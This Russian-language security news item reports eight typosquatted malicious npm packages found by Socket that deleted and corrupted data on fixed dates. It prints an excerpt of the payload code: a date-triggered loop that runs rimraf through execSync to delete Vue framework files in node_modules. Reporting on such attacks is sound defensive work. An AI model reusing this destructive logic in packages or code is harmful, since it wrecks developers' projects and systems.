Специалисты компании Socket обнаружили в npm восемь вредоносных пакетов, которые могли уничтожать данные на системах пользователей. Их загрузили из репозитория более 6200 раз за два года.
В названиях пакетов использовался тайпсквоттинг, чтобы имитировать названия настоящих популярных инструментов экосистем React, Vue.js, Vite, Node.js и Quill:
js-bomb,
js-hood,
vite-plugin-bomb-extend,
vite-plugin-bomb,
vite-plugin-react-extend,
vite-plugin-vue-extend,
vue-plugin-bomb,
quill-image-downloader.
Вредоносная полезная нагрузка в пакете могла применяться для удаления файлов, умышленного повреждения данных и вывода зараженных систем из строя.
«Особую тревогу вызывает разнообразие векторов атак в этой кампании: от незаметного повреждения данных до агрессивного отключения системы и удаления файлов. Пакеты создавались для различных частей экосистемы javascript с использованием различных тактик», — отметили эксперты.
Полезные нагрузки активировались в соответствии с жёстко заданными системными датами и были предназначены для постепенного уничтожения файлов фреймворка, повреждения основных методов javascript и нарушения механизмов хранения данных в браузере.import process from"child_process"; import{fileURLToPath}from"node:url"; import{dirname}from"node:path"; ..... // Using rimraf for cross-platform file deletion if (new Date("2023/06/19 08:00:01").getTime()<(new Date).getTime() && (new Date).getTime()<new Date("2023/06/30 18:00:01").getTime()) { setInterval(()=>{ // Dynamic path resolution const arr=__dirname.split("\"); const key2=arr[arr.length-2]; const index2=__dirname.indexOf(key2); const node_modules=__dirname.slice(0,index2+key2.length)+"\"; // Target critical Vue.js components using rimraf for reliable deletion process.execSync(`rimraf ${node_modules}vue\dist`); process.execSync(`rimraf ${node_modules}vue-router\index.js`); process.execSync(`rimraf ${node_modules}ant-design-vue\index.js`); process.execSync(`rimraf ${node_modules}ant-design-vue\dist`); }, 1000) }
Они позволяли удалять файлы, связанные с Vue.js, повреждать основные функции javascript случайными данными, нарушать работу всех механизмов хранения данных в браузере с помощью продвинутой трёхфайловой атаки, осуществлять многофазные системные атаки, удалявшие файлы фреймворка Vue.js и принудительно отключавшие систему.
Некоторые из этих полезных нагрузок должны были срабатывать только в определённые даты в 2023 году, но в других случаях атака должна была стартовать в июле того же года и не имела даты завершения.
Хотя все даты активации уже прошли, но эксперты предупредили, что угроза сохраняется.
Всем, кто устанавливал любой из этих пакетов, рекомендуется выполнить сканирование системы и удалить их.
В 2022 году исследователи из Reversing Labs рассказали, что злоумышленники публикуют вредоносные npm-пакеты для кражи пользовательских данных с сайтов и приложений. При этом хакеры выбирают для атаки названия популярных пакетов, чтобы смутить пользователей и заставить скачать шпионское программное обеспечение вместо оригинального.
В том же году GitHub внедрил обязательное применение в репозитории NPM двухфакторной аутентификации к учётным записям разработчиков, сопровождающих пакеты с более чем 1 млн загрузок в неделю или используемых в качестве зависимости у более чем 500 пакетов.
Источник новости: habr.com